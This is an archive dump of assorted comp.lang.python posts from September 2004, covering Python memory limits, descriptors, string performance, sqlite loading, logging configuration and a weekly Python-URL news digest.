The Original Problem: The data set: 3 Columns and at least 100,000 rows. However, it can be up to 1,000,000 rows. For the purpose of illustration let's suppose that the first column has the name of 1,000 "Factories", i.e. there are 1,000 unique symbols in the first column. Likewise, suppose the second column contains a "production date" or just a date; there are 250 unique dates in the second column. Finally, suppose the third column contains a description of a "widget type"; there are 500 unique widget descriptions. *** i.e. each row contains the name of one factory which produced one widget type on a particular date. If a factory produced more than one widget on a given date it is reflected in the data as a new row. *** The motivation to construct the mentioned compound dictionary comes from the fact that I need quick access to the following data sets: Data Set for Factory #1: Column#1: time 1, time 2, ... , time 250 Column#2: #widgets, #widgets, ... , #widgets <- same widget types Data Set for Factory #2: Column#1: time 1, time 2, ... , time 250 Column#2: #widgets, #widgets, ... , #widgets <- same widget types . . . Data Set for Factory #1000: Column#1: time 1, time 2, ... , time 250 Column#2: #widgets, #widgets, ... , #widgets <- same widget types Note that if the compound dictionary was created, it would be easy to construct these data sets like so: File=open('DataSet', 'r') Lst=File.readlines() . . . len(Lst[n])=3 Lst[n][0]="Factory" Lst[n][1]="date" Lst[n][2]="WidgetType" for s in Lst: Dict[s[0]][s[1]][s[2]].append('1') . . . len(Dict["Factory"]["date"]["WidgetType"]) = #Widgets of some type produced at a Factory on a given date. The idea here is that I will be graphing a handful of the data sets at a time; they will then be discarded and a new handful will be graphed... etc. What I might attempt next is to construct the required data in R (or NumPy) since an array object seems better suited for the task. However, I'm not sure this will avert the memory error. So, does anyone know how to increase the RAM limit for a process? Other suggestions are also welcome. -Benjamin Scott aleaxit at yahoo.com (Alex Martelli) wrote in message news:<1gjroty.tp0ndj1vwu3e7N%aleaxit at yahoo.com>... > Benjamin Scott wrote: > ... > > len(Lst)=1000 > > len(nuerLst)=250 > > len(nuestLst)=500 > > So you want 1000*250*500 = 125 million dictionaries...? > > > Specs: > > > > Python 2.3.4 > > XPpro > > 4 GB RAM > > > > > > Python was utilizing 2.0 GB when the error was generated. I have > > So you've found out that a dictionary takes at least (about) 16 bytes > even when empty -- not surprising since 16 bytes is typically the least > slice of memory the system will allocate at a time. And you've found > out that XP so-called pro doesn't let a user program have more than 2GB > to itself -- I believe there are slight workarounds for that, as in > costly hacks that may let you have 3GB or so, but it's not going to help > if you want to put any informatiion in those dictionaries, even a tiny > amount of info per dict will easily bump each dict's size to 32 bytes > and overwhelm your 32-bit processor's addressing capabilities (I'm > assuming you have a 32-bit CPU -- you don't say, but few people use > 64-bitters yet). > > What problem are you really trying to solve? Unless you can splurge > into a 64-bit CPU with an adequate OS (e.g., AMD 64 with a Linux for it, > or a G5-based Mac) anything requiring SO many gigabytes probably needs a > radical rethink of your intended architecture/strategy, and it's hard to > give suggestions without knowing what problem you need to solve. > > > Alex From danb_83 at yahoo.com Tue Sep 7 19:48:25 2004 From: danb_83 at yahoo.com (Dan Bishop) Date: 7 Sep 2004 16:48:25 -0700 Subject: %a format References: Message-ID: Tor Iver Wilhelmsen wrote in message news:... > John Lenton writes: > > > Is there any reason python's printf-style formatting is missing the > > (C99) '%a' specifier? > > Because it's not very well known or used? A google for "C printf > format string" gave lots of resources, none of which had %a. They do if you search for "C99" instead of just "C". Anyhow, another reason for not supporting "%a" is that it would be redundant. It would be sufficent to define an "%x" format for floats. From dperl at rogers.com Thu Sep 2 00:48:55 2004 From: dperl at rogers.com (Dan Perl) Date: Thu, 02 Sep 2004 04:48:55 GMT Subject: initializing mutable class attributes References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> Message-ID: Someone else (Shalabh) suggested descriptors for the same problem but I didn't get to consider such a solution until now. Your posting gave me a chance to do that. Thanks. I do think though that it is way too much for just initializing the attributes without an __init__, especially because I think now I can do it by overriding __new__. Dan "Bengt Richter" wrote in message news:ch5tki$csm$0$216.39.172.122 at theriver.com... > On Thu, 02 Sep 2004 00:17:22 GMT, "Dan Perl" wrote: > > > > >"David Bolen" wrote in message > >news:u3c21wnbq.fsf at fitlinxx.com... > >> "Dan Perl" writes: > >> > >> > After all this discussion, what do people think about this code? > >> > >> On face value, I'd question why you're going through the extra effort. > >> I may be missing the point in such a small example, but just having an > >> __init__ in the base class that subclasses are supposed to call seems > >> simpler. > >> > >> If you're just trying to find some way to have default attributes that can > >> be used from subclasses without calling __init__, I'd probably just use > >> class level definitions. For example: > > > >That is exactly what I'm trying to do, and in the initial posting of the > >thread I was mentioning an initialization exactly like yours, but at the > >same time I was pointing out that an initialization like that works only for > >immutable attributes and not for mutable attributes, hence the need for the > >__init__. Or doing it in __new__ as I showed in the new code. > > > >> - - - - - - - - - - - - - - - - - - - - - - - - - > >> Python 2.3.4 (#53, May 25 2004, 21:17:02) [MSC v.1200 32 bit (Intel)] on > >win32 > >> Type "help", "copyright", "credits" or "license" for more information. > >> >>> class Test(object): > >> ... attr1 = 666 > >> ... > >> >>> class Derived(Test): > >> ... def __init__(self): > >> ... self.attr2 = 111 > >> ... > >> >>> d = Derived() > >> >>> print d.attr1, d.attr2 > >> 666 111 > >> >>> print isinstance(d, Test) > >> True > >> >>> > >> - - - - - - - - - - - - - - - - - - - - - - - - - > >> > >> -- David > > > Here's a way to auto-initialize an instance attribute to a mutable via a class variable > (that happens to be a descriptor ;-) > > >>> class C(object): > ... class prop(object): > ... def __get__(self, inst, cls=None): > ... if inst: return inst.__dict__.setdefault('prop',[]) > ... return self > ... def __set__(self, inst, value): inst.__dict__['prop'] = value > ... def __delete__(self, inst): del inst.__dict__['prop'] > ... prop = prop() > ... > >>> c=C() > >>> vars(c) > {} > >>> c.prop > [] > >>> vars(c) > {'prop': []} > >>> c.prop = 'other' > >>> vars(c) > {'prop': 'other'} > >>> C.prop > <__main__.prop object at 0x00901790> > >>> del c.prop > >>> vars(c) > {} > >>> c.prop = 'not auto initialized' > >>> vars(c) > {'prop': 'not auto initialized'} > >>> c.prop > 'not auto initialized' > >>> del c.prop > >>> c.prop > [] > > We can also use it as a base class: > > >>> C.prop > <__main__.prop object at 0x00901790> > >>> > >>> class Derived(C): > ... def __init__(self): > ... self.attr2 = 111 > ... > >>> d = Derived() > >>> print d.prop, d.attr2 > [] 111 > >>> print isinstance(d, C) > True > >>> vars(d) > {'attr2': 111, 'prop': []} > >>> d.prop > [] > > our descriptor is visible via the derived class too, as you would expect > >>> Derived.prop > <__main__.prop object at 0x00901790> > >>> Derived.prop is C.prop > True > > and so ... > >>> d.prop = 's/b d attribute' > >>> vars(d) > {'attr2': 111, 'prop': 's/b d attribute'} > >>> d.prop > 's/b d attribute' > >>> del d.prop > >>> vars(d) > {'attr2': 111} > >>> d.prop > [] > >>> vars(d) > {'attr2': 111, 'prop': []} > > Any use to you? (disclaimer: not tested beyond what you see here ;-) > > Regards, > Bengt Richter From python-url at phaseit.net Mon Sep 20 11:37:48 2004 From: python-url at phaseit.net (Cameron Laird) Date: Mon, 20 Sep 2004 15:37:48 +0000 Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Sep 20) Message-ID: QOTW: "The advantage of using slices to extract a single element is that it avoids IndexErrors for empty lists." Raymond Hettinger http://groups.google.com/groups?th=44bd04fe85d02c19 "Usually when you feel that you need to generate instances with certain names you are on the wrong track in translating the problem you need to solve into a program. " Istvan Albert http://groups.google.com/groups?frame=left&th=6ce53556b4307fb5 Michael Sparks, David Mertz, Patrick Maupin, Bengt Richter, and others deepen discussion, mentioned last week, of greenlets, co-routines, and related matters. Particularly note explanations of confusing labels. http://groups.google.com/groups?frame=left&th=ca4b3ec6501d42aa Bengt Richter and Lonnie Princehouse provide substantial examples of Python-based (lexical) parsing. http://groups.google.com/groups?frame=left&th=795e46367a16d38 'Need to track every object in the solar system? Erik Max Francis' Python coding makes it "simple but useful". http://groups.google.com/groups?th=744df8e93a7a5e5e Opportunity: if you'll be at this year's SANE in Amsterdam, help proselytize at the Python Software Foundation stand. http://groups.google.com/groups?th=c916b2fefd4e878d Wayne Pierce bases nascent Security Advisor's security auditing on filesystem and service scans. Python makes it all comprehensible. http://groups.google.com/groups?th=4387aeb99f5c49d2 Alex Martelli provides a model for "self-updating" Python-coded software. http://groups.google.com/groups?selm=1gkazd2.1qm3g0u1l6b7lmN%25aleaxit%40yahoo.com Of course, for Alex, "somedict.get(x, x) [is] a *frequent* Python idiom". http://groups.google.com/groups?frame=left&th=3c7dc03a05fa8d1 Yet another distribution? Ubuntu Linux is an ambitious and Python-oriented one. http://www.ubuntulinux.org/ ======================================================================== Everything Python-related you want is probably one or two clicks away in these pages: Python.org's Python Language Website is the traditional center of Pythonia http://www.python.org Notice especially the master FAQ http://www.python.org/doc/FAQ.html PythonWare complements the digest you're reading with the marvelous daily python url http://www.pythonware.com/daily Mygale is a news-gathering webcrawler that specializes in (new) World-Wide Web articles related to Python. http://www.awaretek.com/nowak/mygale.html While cosmetically similar, Mygale and the Daily Python-URL are utterly different in their technologies and generally in their results. comp.lang.python.announce announces new Python software. Be sure to scan this newsgroup weekly. http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce Brett Cannon continues the marvelous tradition established by Andrew Kuchling and Michael Hudson of intelligently summarizing action on the python-dev mailing list once every other week. http://www.python.org/dev/summary/ The Python Package Index catalogues packages. http://www.python.org/pypi/ The somewhat older Vaults of Parnassus ambitiously collects references to all sorts of Python resources. http://www.vex.net/~x/parnassus/ Much of Python's real work takes place on Special-Interest Group mailing lists http://www.python.org/sigs/ The Python Business Forum "further[s] the interests of companies that base their business on ... Python." http://www.python-in-business.org Python Success Stories--from air-traffic control to on-line match-making--can inspire you or decision-makers to whom you're subject with a vision of what the language makes practical. http://www.pythonology.com/success The Python Software Foundation (PSF) has replaced the Python Consortium as an independent nexus of activity. It has official responsibility for Python's development and maintenance. http://www.python.org/psf/ Among the ways you can support PSF is with a donation. http://www.python.org/psf/donate.html Cetus collects Python hyperlinks. http://www.cetus-links.org/oo_python.html Python FAQTS http://python.faqts.com/ The Cookbook is a collaborative effort to capture useful and interesting recipes. http://aspn.activestate.com/ASPN/Cookbook/Python Among several Python-oriented RSS/RDF feeds available are http://www.python.org/channews.rdf http://bootleg-rss.g-blog.net/pythonware_com_daily.pcgi http://python.de/backend.php For more, see http://www.syndic8.com/feedlist.php?ShowMatch=python&ShowStatus=all The old Python "To-Do List" now lives principally in a SourceForge reincarnation. http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse http://python.sourceforge.net/peps/pep-0042.html The online Python Journal is posted at pythonjournal.cognizor.com. editor at pythonjournal.com and editor at pythonjournal.cognizor.com welcome submission of material that helps people's understanding of Python use, and offer Web presentation of your work. *Py: the Journal of the Python Language* http://www.pyzine.com Archive probing tricks of the trade: http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100 http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.* Previous - (U)se the (R)esource, (L)uke! - messages are listed here: http://www.ddj.com/topics/pythonurl/ http://purl.org/thecliff/python/url.html (dormant) or http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python Suggestions/corrections for next week's posting are always welcome. E-mail to should get through. To receive a new issue of this posting in e-mail each Monday morning (approximately), ask to subscribe. Mention "Python-URL!". -- The Python-URL! Team-- Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and sponsor the "Python-URL!" project. From me at privacy.net Mon Sep 27 13:42:47 2004 From: me at privacy.net (Richard Hanson) Date: Mon, 27 Sep 2004 10:42:47 -0700 Subject: Whose is smaller References: <1gkqqmt.ng7g3h14zievbN%aleaxit@yahoo.com> <9d2k22-tj1.ln1@lairds.us> Message-ID: Anna Martelli Ravenscroft wrote: [This post primarily contains solutions to Anna's problem with the Fujitsu LifeBook P2000's key locations. But, there's also some 2.4x MSI Installer anecdotal info in my footnote.] > Cameron Laird wrote: > > > Is Linux practical on these boxes? How do touch-typists like them > > Well, mine is dual boot. I'm currently experimenting with Ubuntu on my > Linux partition... I'm really REALLY hoping for a linux kernel with a > decent 'sleep' function to come up RSN because I despise having to work > in Windoze XP instead of Linux. Ah well, at least the XP hasn't been too > terrible to work on - it runs surprisingly smoothly, particularly with > Firefox and Thunderbird for browsing and email... My Fujitsu LifeBook P1120 is (was) only single-booting Win2k, so I can't help with the Linux "sleep" function as yet -- I'll be working on dual-booting Win2k and Linux on the P1120 as soon as I get the requisite hardware to rebuild things. The "sleep" function is a *very* high priority for me, so if and when I find a solution, I'll post it if you're still needing such -- may well work for your P2000 as well. > And I can touch type just fine - except for the damn capslock key (there > is NO purpose whatsoever for a capslock key as a standalone key on a > modern keyboard, imho). It seems *many* folks agree; read below. > I've had only minor problems with the touch > typing that I do - and that, only due to the slightly different layout > of the SHIFT key on the right side compared to where I'd normally expect > to find it: keyboard layout is a common bugbear on laptops though, > regardless of size.... [I lost all my recent archives in a recent series of "crashes" -- so I regoogled this morning for the info herein.] On Win2k, and claimed for WinXP, one can manually edit the registry to remap any of the keys. I originally did this on my P1120 with Win2k. Worked just fine. (I had saved to disc before a Win98SE crash just a few minutes ago ;-), the manual regedit values. If you're interested in 'em you may post here or contact me off-group. The email addie below works if unmunged -- ObExplicit: replace the angle-bracketed items with the appropriate symbol.) Also, there are tools available from both MS, and for those who don't like to visit MS ;-), free from many other helpful folks. If my memory serves, I liked best the (freeware, I believe) tool KeyTweak: available from this page: --- MS's tool is Remapkey.exe. (NB: I have not tried this tool -- *usually* my firewall blocks MS :-) [which required an unblocking to install 2.4ax because of the new MSI Installer[1] :-) ].) This tool may already be on one of your MS CDs in the reskit dirs (I haven't looked in mine). In any event, one webpage: describes Remapkey.exe as: "... a nifty tool put out by microsoft (sic). Make sure you get the correct version for your OS. Not resource intensive like other dll apps." The page has these links (quoted herein): For individual downloads: Free from Microsoft site, for full downloads or shorter link: --- I also have links to a few other freeware (some open-source) tools for all versions of Win32. I won't add them now, but repost or contact me if you want more info from my research. --- Additionally, I found many solutions for Linux, but haven't investigated those as (as I said) I have not yet installed Linux on my Fujitsu LifeBook P1120. Again, if you have trouble locating a Linux key-remapping method, let me know as I found lots of links for the better OS :-), as well. (I do note that after several reinstalls on the P1120, that I was finally used to the capslock and shift key locations well enough to avoid wrongly hitting them very often. As they say, though, your mileage may vary.) Richard Hanson ___________________________________________ [1] On this HP Omnibook 900B even after downloading the requisite MSI Install file, I experienced multiple errors trying to install 2.4a3.2 on Win98SE. I finally got 2.4x working, but I note that the helpfiles are still missing the navigation icons. I have the MSI Installer error messages if Martin or anyone is interested. -- sickoldfartnewsguycom From adurdin at gmail.com Thu Sep 2 01:40:33 2004 From: adurdin at gmail.com (Andrew Durdin) Date: Thu, 2 Sep 2004 15:40:33 +1000 Subject: about presicion In-Reply-To: <1gjfjq0.1bpe86xzyakjcN%aleaxit@yahoo.com> References: <1gjfjq0.1bpe86xzyakjcN%aleaxit@yahoo.com> Message-ID: <59e9fd3a04090122405d22d8e8@mail.gmail.com> On Wed, 1 Sep 2004 11:15:29 +0200, Alex Martelli wrote: > mensanator at aol.com wrote: > ... > > I predict no need for tweaking. I'm not sure what the support for the > MS SDK compiler is currently -- maybe somebody with more current Windows > knowledge can chime in? It used to be that the free C compiler had no > optimization, thus the resulting gmpy would be substantially slower, but > I don't even know if that is still currently the case or not. No: "Microsoft C/C++ Optimizing Compiler and Linker. These are the same compiler and linker that ship with Visual Studio .NET 2003 Professional!" --from the (free-of-charge) Visual C++ Toolkit 2003 page at http://msdn.microsoft.com/visualc/vctoolkit2003/ From sjdevnull at yahoo.com Wed Sep 22 18:23:56 2004 From: sjdevnull at yahoo.com (G. S. Hayes) Date: 22 Sep 2004 15:23:56 -0700 Subject: python vs c# References: <1gkgxts.1fq0rwq10mycqiN%aleaxit@yahoo.com> <41513aac$0$285$edfadb0f@dread12.news.tele.dk> Message-ID: <96c2e938.0409221423.3c1ca868@posting.google.com> Max M wrote in message news:<41513aac$0$285$edfadb0f at dread12.news.tele.dk>... > When writing big systems, it is nice to be able to have an enviroment to > code in. Eg. an IDE. Wow, I actually find this backwards; IDEs often look good for small projects, but don't scale up (especially to large, multiplatform projects) very well in my experience. Which goes to show that it's really a matter of personal taste. > I have a feeling that the typelessness of Python can make this harder. > Wrappers on top of wrappers on top of som kind unknown data type can be > really hard to trace. Dynamic typing is probably the biggest defining characteristic of Python; personally, it's one of the very first language features I consider when I'm figuring out what language to use for a job. I agree that intellisense-style tools are easier to write for statically typed languages, but that's a very small advantage when weighed against the advantages of dynamic typic (or against other, more interesting advantages of static typing), IMO. > This is an issue when the system get's a lot bigger than the language. I'm not sure what you mean by this, I can't really imagine a system "bigger than Python" in the sense of "so big that Python was a bad choice for implementation" or "so big that Python started to get in the way/didn't support development/etc". Right now we have a team of developers working on a system that includes 250,000 lines of Python code; admittedly, some of that (maybe 30,000 lines) is machine generated, but the majority is not. The language hasn't been a problem for us--indeed, I think it's helped tremendously in terms of keeping the team small and yet still allow for rapid development--and I don't see any reason that it would be a problem on a project 10 or 100 times that size. From carribeiro at gmail.com Tue Sep 14 10:30:14 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 14 Sep 2004 11:30:14 -0300 Subject: Small inconsistency between string.split and "".split In-Reply-To: <4146C179.5000404@livinglogic.de> References: <864d370904091310411a2cf435@mail.gmail.com> <20040913175927.GB4646@siliconimage.com> <864d370904091311095be3e08c@mail.gmail.com> <4146C179.5000404@livinglogic.de> Message-ID: <864d3709040914073031c09a57@mail.gmail.com> Walter, On Tue, 14 Sep 2004 12:01:29 +0200, Walter D?rwald wrote: > Carlos Ribeiro wrote: > I've fixed the docstring for both unicode.split() and > string.split() to give a hint about the None default. Note > that the docstring for str.split() already *did* mention > the None option. I don't know if you can do it, but isn't easy to modify the split method to accept maxsplit as a keyword parameter? It would make it consistent with string.split(), and as far as I'm aware, it should not cause any sizeable performance penalty. But the most important reason is that keyword parameters for often-unused options make code more readable; for example, mystring.split(maxsplit=2) reads better than: mystring.,split(None, 2) That's my opinion, anyway... -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From steven.bethard at gmail.com Fri Sep 10 17:04:31 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Fri, 10 Sep 2004 21:04:31 +0000 (UTC) Subject: dictionaries References: Message-ID: Zach Shutters comcast.net> writes: > > def function1(): > print "function1" > > def function2(): > print "function2" > > dict = {"1":function1,"2":function2} > x = input ("1 or 2?") > > dict[x]() Right idea, wrong type. From the docs at: http://docs.python.org/lib/built-in-funcs.html ] input( [prompt]) ] ] Equivalent to eval(raw_input(prompt)). This means that when you use input, it will convert the "1" typed at the prompt to the integer 1. So your code should either be: >>> d = {1:function1, 2:function2} >>> x = input("1 or 2? ") 1 or 2? 1 >>> d[x]() function1 >>> or >>> d = {"1":function1, "2":function2} >>> x = raw_input("1 or 2? ") 1 or 2? 1 >>> d[x]() function1 You also probably shouldn't name your dictionary 'dict' because then you rebind the name 'dict', which is already the builtin 'dict' function. Steve From skip at pobox.com Wed Sep 8 11:14:02 2004 From: skip at pobox.com (Skip Montanaro) Date: Wed, 8 Sep 2004 10:14:02 -0500 Subject: %a format In-Reply-To: References: <20040907182925.GA27643@grulic.org.ar> Message-ID: <16703.8634.716524.150305@montanaro.dyndns.org> Jorge> Is the repost intentional? No. F*cked up sendmail... Skip From eric_brunel at despammed.com Wed Sep 22 11:04:10 2004 From: eric_brunel at despammed.com (Eric Brunel) Date: Wed, 22 Sep 2004 17:04:10 +0200 Subject: Python speed-up References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net> Message-ID: <4151929c$0$6485$8fcfb975@news.wanadoo.fr> Guyon Mor?e wrote: > Hi all, > > I am working on a Huffman encoding exercise, but it is kinda slow. This is > not a big problem, I do this to educate myself :) > > So I started profiling the code and the slowdown was actually taking place > at places where I didn't expect it. > > after I have created a lookup-table-dictionary with encodings like > {'d':'0110', 'e':'01' etc} to encode the original text like this: > > for c in original_text: > encoded_text += table[c] > I can appreciate the length of the text is big, but this isn't a problem at > character frequency counting for eaxample. Why is this slow? Usual suspect: concatenating to strings reallocates a string each time, so you'd better do: l = [] for c in original_text: l.append(table[c]) encoded_text = ''.join(l) > the second place the slowdown occurs is when I ty to chop the encoded string > of 0's and 1's in pieces of eigth like this: > > chr_list = [] # resulting list > while 1: > chr_list.append(encoded_text[:8]) # take 8 bits from string and put them > in the list > encoded_text = encoded_text[8:] # truncate the string > if len(encoded_text) < 8: # end of string reached > chr_list.append(encoded_text) > break Again, the statement encoded_text = encoded_text[8:] re-allocates the string each time. Your whole code chunk may be replaced by a list comprehension: chr_list = [encoded_text[i:i+8] for i in range(0, len(encoded_text), 8)] which is likely to be faster, since it only allocates the space for each 8 character chunk. HTH -- - Eric Brunel - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From jim.vickroy at noaa.gov Mon Sep 6 15:14:53 2004 From: jim.vickroy at noaa.gov (j vickroy) Date: Mon, 6 Sep 2004 13:14:53 -0600 Subject: does logging.config support extension handlers? Message-ID: It seems that custom handlers (i.e., any not included with the logging package distribution) can not be used in configuration files. Is that correct? If incorrect, could someone point me to a simple example? I can not get this to work. The only possibly relevant statement I have found in the documentation is: " The class entry indicates the handler's class (as determined by eval() in the logging package's namespace). " about midway in section "6.28.7.2 Configuration file format". Thanks, -- jv From benevilent at optusnet.com.au Tue Sep 14 08:59:15 2004 From: benevilent at optusnet.com.au (benevilent at optusnet.com.au) Date: Tue, 14 Sep 2004 22:59:15 +1000 Subject: debug build: import problem References: <1gk3y7a.cciinh1533cy1N%aleaxit@yahoo.com> Message-ID: Hey, On Tue, 14 Sep 2004 14:44:51 +0200, Alex Martelli wrote: > benevilent at optusnet.com.au wrote: > >> Hey, >> >> I have made a Python build with the flag --with-pydebug. When I try to >> import modules such as NumPy's multiarray.so, I get errors like the >> following: > > Have you built and installed NumPy _with the specific build of Python > you're trying to use it from_? It doesn't look like you have, and that > might explain the symptoms you observe. > Yeah, building NumPy with the compilation flags set to use the right build seems to have fixed the problem. >> I presume this means that a debug build of python uses a different >> function for initialising a python module. Is it possible to avoid the >> situation where each module not included within the Python distribuition >> requires explicit support such that it can be used with a debug build of >> Python? > > In general, each module which is a Python extension may require you to > build it with the specific version of Python you want to use it with. > There may be specific tricks that work on a given platform to let you > bypass this normal requirement in some cases, I guess. > > > Alex From skip at pobox.com Tue Sep 7 09:36:45 2004 From: skip at pobox.com (Skip Montanaro) Date: Tue, 7 Sep 2004 08:36:45 -0500 Subject: Slow loading of large in-memory tables In-Reply-To: <200409062214.50297.janert@ieee.org> References: <200409062214.50297.janert@ieee.org> Message-ID: <16701.47469.131442.188331@montanaro.dyndns.org> Ph> I am trying to load a relatively large table (about 1 Million rows) Ph> into an sqlite table, which is kept in memory. The load process is Ph> very slow - on the order of 15 minutes or so. Ph> I am accessing sqlite from Python, using the pysqlite driver. I am Ph> loading all records first using cx.execute( "insert ..." ). I've never used sqlite, but I have used a number of other relational databases. All I've encountered previously have some sort of "bulk load" statement that is faster than a bunch of inserts. The input file in these cases is generally some sort of TAB- or comma-delimited file. These statements are always extensions to SQL (and therefore predictably differ for each rdbms). Sqlite may have such a statement. -- Skip Montanaro Got spam? http://www.spambayes.org/ skip at pobox.com From adurdin at gmail.com Sat Sep 4 18:20:41 2004 From: adurdin at gmail.com (Andrew Durdin) Date: Sun, 5 Sep 2004 08:20:41 +1000 Subject: [Python-Dev] Alternative placeholder delimiters for PEP 292 In-Reply-To: <1094315616.8721.44.camel@geddy.wooz.org> References: <59e9fd3a040829231141cd3fe4@mail.gmail.com> <1094315616.8721.44.camel@geddy.wooz.org> Message-ID: <59e9fd3a0409041520114d0604@mail.gmail.com> On Sat, 04 Sep 2004 12:33:36 -0400, Barry Warsaw wrote: > On Mon, 2004-08-30 at 02:11, Andrew Durdin wrote: > > > I propose that the Template module not use $ to set off > > placeholders; instead, placeholders are delimited by braces {}. > > The following rules for {}-placeholders apply: > > The PEP 292 rules were specifically chosen for their similarity to > placeholder syntaxes in many other languages. Sure. But just because many other languages do it that way doesn't mean that it's the best way for Python. There are significant advantages to using paired delimiters instead of a single prefix delimiter. The "Rationale" section of PEP 292 says only that the desire was for something simpler than the built-in % substitution; if the similarity to many other languages is also an important part of the rationale, then the PEP should be modified to take that into account, should it not? From reply.in.the.newsgroup at my.address.is.invalid Tue Sep 14 10:10:45 2004 From: reply.in.the.newsgroup at my.address.is.invalid (Rene Pijlman) Date: Tue, 14 Sep 2004 16:10:45 +0200 Subject: Communication between remote scripts References: Message-ID: <8sudk0d6qvfvboajhp76o7b8i7gadt1i39@4ax.com> ChrisH: >Can anyone recommend a good (and preferably simple) way for two programs >to communicate on a network? TCP/IP / sockets: http://www.amk.ca/python/howto/sockets/ -- Ren? Pijlman From rays at blue-cove.com Wed Sep 22 16:16:15 2004 From: rays at blue-cove.com (Ray S) Date: Wed, 22 Sep 2004 13:16:15 -0700 Subject: pipedream.py breaks when compiled... Message-ID: <5.2.0.4.2.20040922131352.05844d00@blue-cove.com> Does anyone know why a script that uses pipedream (which uses win32pipe.popen3()) will run a script, but hang when compiled? A script that uses pipedream.py won't run when compiled with McMillan or py2exe; it appears that the client process (an interactive FORTRAN/DOS exe) returns the first screen of text, gets to its first prompt, then exits. pipedream.py does: c = os.read(self._in.fileno(), 1) and just hangs, no error. Anyone have an idea? Ray Schumacher Blue Cove Interactive 7220 Trade Street, Suite 101 San Diego, CA 92121 858.695.8801 http://Blue-Cove.com From nytimes at swiftdsl.com.au Fri Sep 17 20:53:30 2004 From: nytimes at swiftdsl.com.au (huy) Date: Sat, 18 Sep 2004 10:53:30 +1000 Subject: Python Webstart ? In-Reply-To: References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> Message-ID: <414b870a$0$2405$61ce578d@news.syd.swiftdsl.com.au> John Fabiani wrote: > Istvan Albert wrote: > > >>John Fabiani wrote: >> >> >>>Actually it's very useful. In the Java world you can set a central >>>location >>>that a webstart program checks for possible updates. It's very cool. >> >>Only that it doesn't really work in practice. Read more here: >> >>http://www.dynamicobjects.com/d2r/archives/2004_07_09.html >> >> >>Istvan > > I agree it's not perfect - but I still think it's cool. I have only one > site that is using webstart. It took about a week to get everyone up to > speed and now it has worked like clock work for about a year. > John Good stuff John. That's my experience as well. I think you don't see how useful it is until you experience a project which knows how to use it well. Huy From kkt at drizzle.com Thu Sep 2 21:57:29 2004 From: kkt at drizzle.com (Patrick Scheible) Date: 02 Sep 2004 18:57:29 -0700 Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> Message-ID: Alan Balmer writes: > The shuttle boosters are 3.7m diameter. Quite a bit larger than the > gage of any railroad I've ever seen. > > More than you ever wanted to know: > http://encyclopedia.thefreedictionary.com/Space%20Shuttle%20Solid%20Rocket%20Booster More than the track gauge, certainly, but the edges of the train cars -- and the largest items that can be carried on the train -- hang out significantly outside the track. Structure gauge is how much wide and tall a load can be carried, or the size of the cars. Even if there are no bridges or tunnels, you have to be careful of the trains on the adjoining tracks if you're carrying something overwidth. 3.7 meters is not impossibly large for carrying on a railroad car. Specifics would depend on the particular route, though. -- Patrick From theratpack91 at yahoo.co.uk Sat Sep 25 10:28:35 2004 From: theratpack91 at yahoo.co.uk (Chris McD) Date: Sat, 25 Sep 2004 15:28:35 +0100 Subject: Clickable (wx)python app in OS X In-Reply-To: <26658f61.0409250605.32f18ba2@posting.google.com> References: <26658f61.0409250605.32f18ba2@posting.google.com> Message-ID: <41558086$0$42259$ed2e19e4@ptn-nntp-reader04.plus.net> PhysicsGenius wrote: > AAAAARRRRRRRRGGHGHGHGHGHGHGHGHGH!!!!!! I hate Macs. > > I have a wxPython program. It runs fine on OS X when I launch it from > the Terminal ("pythonw appname.py") . The user wants to be able to > click it. Two main suggestions on the Internet, neither of which > works: > > 1) "Use Platypus" So I download it, upgrade Stuffit, install both, > figure out how to use it, create an app....and it doesn't work for > graphical apps. Nice to know, thanks for telling me ahead of time! > > 2) "Just associate .py files with PythonInterpreter". Sounds easy! > So I navigate to appname.py, Get Info, Open With, navigate to > PythonInterpreter....WhereTF is "PythonInterpreter"? Not on the OS X > system anywhere and Google only finds a Python module. > > So, how do I create a clickable icon that will launch my wxPython > program? Well you are opening it with pythonw so why not associate *.py with pythonw or python? Chris From crystal1 at spamless.net Fri Sep 24 14:11:43 2004 From: crystal1 at spamless.net (crystal1) Date: Fri, 24 Sep 2004 11:11:43 -0700 Subject: POP3 Filter Message-ID: Not sure if this has been done... Has anyone created a python script that listens on the default POP3 port for incoming mail, kills certain messages based on a criteria, and forwards the output to a non-standard port the POP3 server is listening on? Upon recieving requests from a sender, the script would transparently forward traffic to the off port unless a violating condition is encountered. I'd like to use the listening python script to check for a correct 'to:' address format, attachment size limit, etc. Before I waste too much time, do you think this is do-able? From adalke at mindspring.com Mon Sep 20 02:38:40 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Mon, 20 Sep 2004 06:38:40 GMT Subject: Math errors in python In-Reply-To: <0mssk056r9vp6qodi5drbin95g2gv58dem@4ax.com> References: <70b3d.1822$uz1.747@trndny03> <0mssk056r9vp6qodi5drbin95g2gv58dem@4ax.com> Message-ID: Andrea: > This is from the Bible... > > 007:023 And he made a molten sea, ten cubits from the one brim to the > other: it was round all about, and his height was five cubits: > and a line of thirty cubits did compass it round about. > > So it's clear that pi must be 3 Or that the walls were 0.25 cubits thick, if you're talking inner diameter vs. outer. ;) Andrew dalke at dalkescientific.com From bokr at oz.net 